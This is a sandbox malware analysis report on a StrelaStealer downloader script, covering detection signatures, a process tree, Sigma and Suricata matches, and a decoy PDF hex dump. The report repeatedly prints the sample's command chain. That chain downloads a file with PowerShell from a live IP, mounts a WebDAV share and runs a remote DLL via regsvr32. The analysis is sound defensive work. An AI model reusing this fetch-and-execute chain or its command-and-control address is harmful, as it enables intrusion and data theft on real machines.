Edit tour

Windows Analysis Report
36522792260104347.js

Overview

General Information

Sample name:	36522792260104347.js
Analysis ID:	1588518
MD5:	2516b56f7d18a53765fc93d537c26eeb
SHA1:	aa1ed49085960249a399713c2fccd8499f82b2a5
SHA256:	98d6ef36f7888a6950873c16a1aab4d24b2c26c47a9586a6cb084049499c66ad
Tags:	jsStrelaStealeruser-threatcat_ch
Infos:

Detection

Strela Downloader

Score:	100
Range:	0 - 100
Whitelisted:	false
Confidence:	100%

Signatures

JScript performs obfuscated calls to suspicious functions

Sigma detected: Powershell launch regsvr32

Suricata IDS alerts for network traffic

Yara detected Strela Downloader

Downloads files with wrong headers with respect to MIME Content-Type

Gathers information about network shares

JavaScript source code contains functionality to generate code involving a shell, file or stream

Sigma detected: Suspicious Invoke-WebRequest Execution

Sigma detected: Suspicious Script Execution From Temp Folder

Sigma detected: WScript or CScript Dropper

Suspicious execution chain found

Suspicious powershell command line found

Uses known network protocols on non-standard ports

Windows Scripting host checks user region and language preferences

Windows Scripting host queries suspicious COM object (likely to drop second stage)

Wscript starts Powershell (via cmd or directly)

Contains long sleeps (>= 3 min)

Creates a process in suspended mode (likely to inject code)

Creates files inside the system directory

Detected TCP or UDP traffic on non-standard ports

Found WSH timer for Javascript or VBS script (likely evasive script)

Found a high number of Window / User specific system calls (may be a loop to detect user behavior)

IP address seen in connection with other malware

Internet Provider seen in connection with other malware

Java / VBScript file with very long strings (likely obfuscated code)

May sleep (evasive loops) to hinder dynamic analysis

Queries disk information (often used to detect virtual machines)

Queries sensitive BIOS Information (via WMI, Win32_Bios & Win32_BaseBoard, often done to detect virtual machines)

Queries sensitive Operating System Information (via WMI, Win32_ComputerSystem, often done to detect virtual machines)

Queries the volume information (name, serial number etc) of a device

Sample execution stops while process was sleeping (likely an evasion)

Sigma detected: Communication To Uncommon Destination Ports

Sigma detected: Cscript/Wscript Potentially Suspicious Child Process

Sigma detected: Potential DLL File Download Via PowerShell Invoke-WebRequest

Sigma detected: PowerShell Script Run in AppData

Sigma detected: PowerShell Web Download

Sigma detected: Suspicious Invoke-WebRequest Execution With DirectIP

Sigma detected: Usage Of Web Request Commands And Cmdlets

Sigma detected: WSF/JSE/JS/VBA/VBE File Execution Via Cscript/Wscript

Suricata IDS alerts with low severity for network traffic

Uses a known web browser user agent for HTTP communication

Very long cmdline option found, this is very uncommon (may be encrypted or packed)

Classification

Process Tree

System is w10x64

wscript.exe (PID: 7868 cmdline: C:\Windows\System32\WScript.exe "C:\Users\user\Desktop\36522792260104347.js" MD5: A47CBE969EA935BDD3AB568BB126BC80)

cmd.exe (PID: 7960 cmdline: "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\39891457824619.dll MD5: 8A2122E8162DBEF04694B9C3E0B6CDEE)

conhost.exe (PID: 7968 cmdline: C:\Windows\system32\conhost.exe 0xffffffff -ForceV1 MD5: 0D698AF330FD17BEE3BF90011D49251D)

powershell.exe (PID: 8012 cmdline: powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php" MD5: 04029E121A0CFA5991749937DD22A1D9)

Acrobat.exe (PID: 7232 cmdline: "C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe" "C:\Users\user\AppData\Local\Temp\invoice.pdf" MD5: 24EAD1C46A47022347DC0F05F6EFBB8C)

AcroCEF.exe (PID: 3228 cmdline: "C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe" --backgroundcolor=16777215 MD5: 9B38E8E8B6DD9622D24B53E095C5D9BE)

AcroCEF.exe (PID: 2976 cmdline: "C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --lang=en-US --service-sandbox-type=none --log-severity=disable --user-agent-product="ReaderServices/23.6.20320 Chrome/105.0.0.0" --lang=en-US --log-file="C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\debug.log" --mojo-platform-channel-handle=2284 --field-trial-handle=1528,i,6355012401888127989,11459983525972699434,131072 --disable-features=BackForwardCache,CalculateNativeWinOcclusion,WinUseBrowserSpellChecker /prefetch:8 MD5: 9B38E8E8B6DD9622D24B53E095C5D9BE)

cmd.exe (PID: 7280 cmdline: cmd /c net use \\193.143.1.205@8888\davwwwroot\ MD5: 8A2122E8162DBEF04694B9C3E0B6CDEE)

net.exe (PID: 7456 cmdline: net use \\193.143.1.205@8888\davwwwroot\ MD5: 0BD94A338EEA5A4E1F2830AE326E6D19)

svchost.exe (PID: 1796 cmdline: C:\Windows\System32\svchost.exe -k netsvcs -p -s BITS MD5: B7F884C1B74A263F746EE12A5F7C9F6A)

cleanup

Yara Signatures

Memory Dumps

Source	Rule	Description	Author	Strings
Process Memory Space: wscript.exe PID: 7868	JoeSecurity_StrelaDownloader	Yara detected Strela Downloader	Joe Security

Sigma Signatures

System Summary

Sigma detected: Suspicious Invoke-WebRequest Execution

Source: Process started

Author: Nasreddine Bencherchali (Nextron Systems): Data: Command: powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php", CommandLine: powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php", CommandLine|base64offset|contains: *&, Image: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe, NewProcessName: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe, OriginalFileName: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe, ParentCommandLine: "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\39891457824619.dll, ParentImage: C:\Windows\System32\cmd.exe, ParentProcessId: 7960, ParentProcessName: cmd.exe, ProcessCommandLine: powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php", ProcessId: 8012, ProcessName: powershell.exe

Sigma detected: Suspicious Script Execution From Temp Folder

Source: Process started

Author: Florian Roth (Nextron Systems), Max Altgelt (Nextron Systems), Tim Shelton: Data: Command: powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php", CommandLine: powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php", CommandLine|base64offset|contains: *&, Image: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe, NewProcessName: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe, OriginalFileName: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe, ParentCommandLine: "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\39891457824619.dll, ParentImage: C:\Windows\System32\cmd.exe, ParentProcessId: 7960, ParentProcessName: cmd.exe, ProcessCommandLine: powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php", ProcessId: 8012, ProcessName: powershell.exe

Sigma detected: WScript or CScript Dropper

Source: Process started

Author: Margaritis Dimitrios (idea), Florian Roth (Nextron Systems), oscd.community: Data: Command: C:\Windows\System32\WScript.exe "C:\Users\user\Desktop\36522792260104347.js", CommandLine: C:\Windows\System32\WScript.exe "C:\Users\user\Desktop\36522792260104347.js", CommandLine|base64offset|contains: , Image: C:\Windows\System32\wscript.exe, NewProcessName: C:\Windows\System32\wscript.exe, OriginalFileName: C:\Windows\System32\wscript.exe, ParentCommandLine: , ParentImage: , ParentProcessId: 4084, ProcessCommandLine: C:\Windows\System32\WScript.exe "C:\Users\user\Desktop\36522792260104347.js", ProcessId: 7868, ProcessName: wscript.exe

Sigma detected: Communication To Uncommon Destination Ports

Source: Network Connection

Author: Florian Roth (Nextron Systems): Data: DestinationIp: 193.143.1.205, DestinationIsIpv6: false, DestinationPort: 8888, EventID: 3, Image: C:\Windows\System32\net.exe, Initiated: true, ProcessId: 7456, Protocol: tcp, SourceIp: 192.168.2.8, SourceIsIpv6: false, SourcePort: 49707

Sigma detected: Cscript/Wscript Potentially Suspicious Child Process

Source: Process started

Author: Nasreddine Bencherchali (Nextron Systems), Alejandro Houspanossian ('@lekz86'): Data: Command: "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\39891457824619.dll, CommandLine: "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\39891457824619.dll, CommandLine|base64offset|contains: , Image: C:\Windows\System32\cmd.exe, NewProcessName: C:\Windows\System32\cmd.exe, OriginalFileName: C:\Windows\System32\cmd.exe, ParentCommandLine: C:\Windows\System32\WScript.exe "C:\Users\user\Desktop\36522792260104347.js", ParentImage: C:\Windows\System32\wscript.exe, ParentProcessId: 7868, ParentProcessName: wscript.exe, ProcessCommandLine: "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\39891457824619.dll, ProcessId: 7960, ProcessName: cmd.exe

Sigma detected: Potential DLL File Download Via PowerShell Invoke-WebRequest

Source: Process started

Author: Florian Roth (Nextron Systems), Hieu Tran: Data: Command: "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\39891457824619.dll, CommandLine: "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\39891457824619.dll, CommandLine|base64offset|contains: , Image: C:\Windows\System32\cmd.exe, NewProcessName: C:\Windows\System32\cmd.exe, OriginalFileName: C:\Windows\System32\cmd.exe, ParentCommandLine: C:\Windows\System32\WScript.exe "C:\Users\user\Desktop\36522792260104347.js", ParentImage: C:\Windows\System32\wscript.exe, ParentProcessId: 7868, ParentProcessName: wscript.exe, ProcessCommandLine: "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\39891457824619.dll, ProcessId: 7960, ProcessName: cmd.exe

Sigma detected: PowerShell Script Run in AppData

Source: Process started

Author: Florian Roth (Nextron Systems), Jonhnathan Ribeiro, oscd.community: Data: Command: "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\39891457824619.dll, CommandLine: "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\39891457824619.dll, CommandLine|base64offset|contains: , Image: C:\Windows\System32\cmd.exe, NewProcessName: C:\Windows\System32\cmd.exe, OriginalFileName: C:\Windows\System32\cmd.exe, ParentCommandLine: C:\Windows\System32\WScript.exe "C:\Users\user\Desktop\36522792260104347.js", ParentImage: C:\Windows\System32\wscript.exe, ParentProcessId: 7868, ParentProcessName: wscript.exe, ProcessCommandLine: "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\39891457824619.dll, ProcessId: 7960, ProcessName: cmd.exe

Sigma detected: PowerShell Web Download

Source: Process started

Author: Florian Roth (Nextron Systems): Data: Command: "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\39891457824619.dll, CommandLine: "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\39891457824619.dll, CommandLine|base64offset|contains: , Image: C:\Windows\System32\cmd.exe, NewProcessName: C:\Windows\System32\cmd.exe, OriginalFileName: C:\Windows\System32\cmd.exe, ParentCommandLine: C:\Windows\System32\WScript.exe "C:\Users\user\Desktop\36522792260104347.js", ParentImage: C:\Windows\System32\wscript.exe, ParentProcessId: 7868, ParentProcessName: wscript.exe, ProcessCommandLine: "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\39891457824619.dll, ProcessId: 7960, ProcessName: cmd.exe

Sigma detected: Suspicious Invoke-WebRequest Execution With DirectIP

Source: Process started

Sigma detected: Usage Of Web Request Commands And Cmdlets

Source: Process started

Author: James Pemberton / @4A616D6573, Endgame, JHasenbusch, oscd.community, Austin Songer @austinsonger: Data: Command: "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\39891457824619.dll, CommandLine: "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\39891457824619.dll, CommandLine|base64offset|contains: , Image: C:\Windows\System32\cmd.exe, NewProcessName: C:\Windows\System32\cmd.exe, OriginalFileName: C:\Windows\System32\cmd.exe, ParentCommandLine: C:\Windows\System32\WScript.exe "C:\Users\user\Desktop\36522792260104347.js", ParentImage: C:\Windows\System32\wscript.exe, ParentProcessId: 7868, ParentProcessName: wscript.exe, ProcessCommandLine: "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\39891457824619.dll, ProcessId: 7960, ProcessName: cmd.exe

Sigma detected: WSF/JSE/JS/VBA/VBE File Execution Via Cscript/Wscript

Source: Process started

Author: Michael Haag: Data: Command: C:\Windows\System32\WScript.exe "C:\Users\user\Desktop\36522792260104347.js", CommandLine: C:\Windows\System32\WScript.exe "C:\Users\user\Desktop\36522792260104347.js", CommandLine|base64offset|contains: , Image: C:\Windows\System32\wscript.exe, NewProcessName: C:\Windows\System32\wscript.exe, OriginalFileName: C:\Windows\System32\wscript.exe, ParentCommandLine: , ParentImage: , ParentProcessId: 4084, ProcessCommandLine: C:\Windows\System32\WScript.exe "C:\Users\user\Desktop\36522792260104347.js", ProcessId: 7868, ProcessName: wscript.exe

Sigma detected: Non Interactive PowerShell Process Spawned

Source: Process started

Author: Roberto Rodriguez @Cyb3rWard0g (rule), oscd.community (improvements): Data: Command: powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php", CommandLine: powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php", CommandLine|base64offset|contains: *&, Image: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe, NewProcessName: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe, OriginalFileName: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe, ParentCommandLine: "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\39891457824619.dll, ParentImage: C:\Windows\System32\cmd.exe, ParentProcessId: 7960, ParentProcessName: cmd.exe, ProcessCommandLine: powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php", ProcessId: 8012, ProcessName: powershell.exe

Sigma detected: System Network Connections Discovery Via Net.EXE

Source: Process started

Author: frack113: Data: Command: net use \\193.143.1.205@8888\davwwwroot\, CommandLine: net use \\193.143.1.205@8888\davwwwroot\, CommandLine|base64offset|contains: , Image: C:\Windows\System32\net.exe, NewProcessName: C:\Windows\System32\net.exe, OriginalFileName: C:\Windows\System32\net.exe, ParentCommandLine: cmd /c net use \\193.143.1.205@8888\davwwwroot\, ParentImage: C:\Windows\System32\cmd.exe, ParentProcessId: 7280, ParentProcessName: cmd.exe, ProcessCommandLine: net use \\193.143.1.205@8888\davwwwroot\, ProcessId: 7456, ProcessName: net.exe

Sigma detected: Windows Processes Suspicious Parent Directory

Source: Process started

Author: vburov: Data: Command: C:\Windows\System32\svchost.exe -k netsvcs -p -s BITS, CommandLine: C:\Windows\System32\svchost.exe -k netsvcs -p -s BITS, CommandLine|base64offset|contains: , Image: C:\Windows\System32\svchost.exe, NewProcessName: C:\Windows\System32\svchost.exe, OriginalFileName: C:\Windows\System32\svchost.exe, ParentCommandLine: , ParentImage: , ParentProcessId: 624, ProcessCommandLine: C:\Windows\System32\svchost.exe -k netsvcs -p -s BITS, ProcessId: 1796, ProcessName: svchost.exe

Sigma detected: Windows Share Mount Via Net.EXE

Source: Process started

Author: Nasreddine Bencherchali (Nextron Systems): Data: Command: net use \\193.143.1.205@8888\davwwwroot\, CommandLine: net use \\193.143.1.205@8888\davwwwroot\, CommandLine|base64offset|contains: , Image: C:\Windows\System32\net.exe, NewProcessName: C:\Windows\System32\net.exe, OriginalFileName: C:\Windows\System32\net.exe, ParentCommandLine: cmd /c net use \\193.143.1.205@8888\davwwwroot\, ParentImage: C:\Windows\System32\cmd.exe, ParentProcessId: 7280, ParentProcessName: cmd.exe, ProcessCommandLine: net use \\193.143.1.205@8888\davwwwroot\, ProcessId: 7456, ProcessName: net.exe

HIPS / PFW / Operating System Protection Evasion

Sigma detected: Powershell launch regsvr32

Source: Process started

Author: Joe Security: Data: Command: "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\39891457824619.dll, CommandLine: "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\39891457824619.dll, CommandLine|base64offset|contains: , Image: C:\Windows\System32\cmd.exe, NewProcessName: C:\Windows\System32\cmd.exe, OriginalFileName: C:\Windows\System32\cmd.exe, ParentCommandLine: C:\Windows\System32\WScript.exe "C:\Users\user\Desktop\36522792260104347.js", ParentImage: C:\Windows\System32\wscript.exe, ParentProcessId: 7868, ParentProcessName: wscript.exe, ProcessCommandLine: "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\39891457824619.dll, ProcessId: 7960, ProcessName: cmd.exe

Suricata Signatures

ETPRO MALWARE StrelaStealer CnC Activity - Requesting Decoy Payload (GET)

Timestamp	SID	Severity	Classtype	Source IP	Source Port	Destination IP	Destination Port	Protocol
2025-01-11T02:00:19.037301+0100	2859560	1	Malware Command and Control Activity Detected	192.168.2.8	49706	193.143.1.205	80	TCP

Joe Security ANOMALY Microsoft Office WebDAV Discovery

Timestamp	SID	Severity	Classtype	Source IP	Source Port	Destination IP	Destination Port	Protocol
2025-01-11T02:00:21.209402+0100	1810005	1	Potentially Bad Traffic	192.168.2.8	49707	193.143.1.205	8888	TCP

Joe Security ANOMALY Windows PowerShell HTTP activity

Timestamp	SID	Severity	Classtype	Source IP	Source Port	Destination IP	Destination Port	Protocol
2025-01-11T02:00:19.037301+0100	1810000	2	Potentially Bad Traffic	192.168.2.8	49706	193.143.1.205	80	TCP

Joe Sandbox Signatures

Click to jump to signature section

Show All Signature Results

Software Vulnerabilities

JavaScript source code contains functionality to generate code involving a shell, file or stream

Source: 36522792260104347.js	Argument value : ['"cmd /c powershell.exe -Command "Invoke-WebRequest -OutFile %temp%\\invoice.pdf http://193.143.1.205/', '"WScript.Shell"']			Go to definition
Source: 36522792260104347.js	Argument value : ['"cmd /c powershell.exe -Command "Invoke-WebRequest -OutFile %temp%\\invoice.pdf http://193.143.1.205/', '"WScript.Shell"']			Go to definition

Suspicious execution chain found

Source: C:\Windows\System32\wscript.exe

Child: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe

Networking

Suricata IDS alerts for network traffic

Source: Network traffic	Suricata IDS: 1810005 - Severity 1 - Joe Security ANOMALY Microsoft Office WebDAV Discovery : 192.168.2.8:49707 -> 193.143.1.205:8888
Source: Network traffic	Suricata IDS: 2859560 - Severity 1 - ETPRO MALWARE StrelaStealer CnC Activity - Requesting Decoy Payload (GET) : 192.168.2.8:49706 -> 193.143.1.205:80

Downloads files with wrong headers with respect to MIME Content-Type

Source: http

Bad PDF prefix: HTTP/1.1 200 OK Server: nginx/1.22.1 Date: Sat, 11 Jan 2025 01:00:18 GMT Content-Type: application/pdf Transfer-Encoding: chunked Connection: keep-alive X-Frame-Options: SAMEORIGIN Data Raw: 31 66 36 61 0d 0a 25 50 44 46 2d 31 2e 37 0a 25 bf f7 a2 fe 0a 31 20 30 20 6f 62 6a 0a 3c 3c 20 2f 50 61 67 65 73 20 33 20 30 20 52 20 2f 54 79 70 65 20 2f 43 61 74 61 6c 6f 67 20 3e 3e 0a 65 6e 64 6f 62 6a 0a 32 20 30 20 6f 62 6a 0a 3c 3c 20 2f 54 79 70 65 20 2f 4f 62 6a 53 74 6d 20 2f 4c 65 6e 67 74 68 20 35 36 20 2f 46 69 6c 74 65 72 20 2f 46 6c 61 74 65 44 65 63 6f 64 65 20 2f 4e 20 31 20 2f 46 69 72 73 74 20 34 20 3e 3e 0a 73 74 72 65 61 6d 0a 78 9c 33 56 30 e0 b2 b1 51 d0 77 ce 2f cd 2b 51 30 54 d0 f7 ce 4c 29 56 88 56 30 51 30 50 08 52 88 55 d0 0f a9 2c 48 55 d0 0f 48 4c 4f 2d 56 b0 b3 e3 02 00 25 30 0c 6d 65 6e 64 73 74 72 65 61 6d 0a 65 6e 64 6f 62 6a 0a 34 20 30 20 6f 62 6a 0a 3c 3c 20 2f 43 6f 6e 74 65 6e 74 73 20 35 20 30 20 52 20 2f 47 72 6f 75 70 20 3c 3c 20 2f 43 53 20 2f 44 65 76 69 63 65 52 47 42 20 2f 49 20 74 72 75 65 20 2f 53 20 2f 54 72 61 6e 73 70 61 72 65 6e 63 79 20 2f 54 79 70 65 20 2f 47 72 6f 75 70 20 3e 3e 20 2f 4d 65 64 69 61 42 6f 78 20 5b 20 30 20 30 20 35 39 34 2e 39 36 20 38 34 30 2e 39 36 20 5d 20 2f 50 61 72 65 6e 74 20 33 20 30 20 52 20 2f 52 65 73 6f 75 72 63 65 73 20 36 20 30 20 52 20 2f 53 74 72 75 63 74 50 61 72 65 6e 74 73 20 30 20 2f 54 79 70 65 20 2f 50 61 67 65 20 3e 3e 0a 65 6e 64 6f 62 6a 0a 35 20 30 20 6f 62 6a 0a 3c 3c 20 2f 46 69 6c 74 65 72 20 2f 46 6c 61 74 65 44 65 63 6f 64 65 20 2f 4c 65 6e 67 74 68 20 37 35 20 3e 3e 0a 73 74 72 65 61 6d 0a 78 9c 33 54 30 00 42 5d 43 20 61 61 62 a0 67 69 a6 90 9c cb 55 c8 65 a8 00 82 45 e9 0a fa 89 06 0a e9 c5 5c 20 45 a6 96 26 40 79 43 a8 3a a0 6c aa 42 1a 57 a0 42 21 50 39 44 95 82 7e 85 b9 82 4b 3e 57 20 10 02 00 26 99 12 f1 65 6e 64 73 74 72 65 61 6d 0a 65 6e 64 6f 62 6a 0a 36 20 30 20 6f 62 6a 0a 3c 3c 20 2f 45 78 74 47 53 74 61 74 65 20 3c 3c 20 2f 61 30 20 3c 3c 20 2f 43 41 20 31 20 2f 63 61 20 31 20 3e 3e 20 3e 3e 20 2f 58 4f 62 6a 65 63 74 20 3c 3c 20 2f 78 37 20 37 20 30 20 52 20 3e 3e 20 3e 3e 0a 65 6e 64 6f 62 6a 0a 37 20 30 20 6f 62 6a 0a 3c 3c 20 2f 42 42 6f 78 20 5b 20 30 20 30 20 35 39 35 20 38 34 31 20 5d 20 2f 46 69 6c 74 65 72 20 2f 46 6c 61 74 65 44 65 63 6f 64 65 20 2f 52 65 73 6f 75 72 63 65 73 20 38 20 30 20 52 20 2f 53 75 62 74 79 70 65 20 2f 46 6f 72 6d 20 2f 54 79 70 65 20 2f 58 4f 62 6a 65 63 74 20 2f 4c 65 6e 67 74 68 20 35 39 20 3e 3e 0a 73 74 72 65 61 6d 0a 78 9c 2b e4 0a 54 28 e4 d2 4f 2f 36 50 48 2f e6 2a e4 32 b5 34 d1 b3 34 53 30 00 42 5d 0b 13 03 08 1b ca 48 ce e5 d2 4f 04 a9 53 d0 af 30 34 54 70 c9 e7 0a 04 42 00 f1 ec 0e 9e 65 6e 64 73 74 72 65 61 6d 0a 65 6e 64 6f 62 6a 0a 38 20 30 20 6f 62 6a 0a 3c 3c 20 2f 45 78 74 47 53 74 61 74 65 20 3c 3c 20 2f 61 30 20 3c 3c 20 2f 43 41 20 31 20 2f 63 61 20 31 20 3e 3e 20 2f 67 73 30 20 3c 3c 20 2f 42 4d 20 2f 4e 6f 72 6d 61 6c 20 2f 43 41 20 31 2e 30 20 2f 53 4d 61 73 6b 20 2f 4e 6f 6e 65 20 2f 6

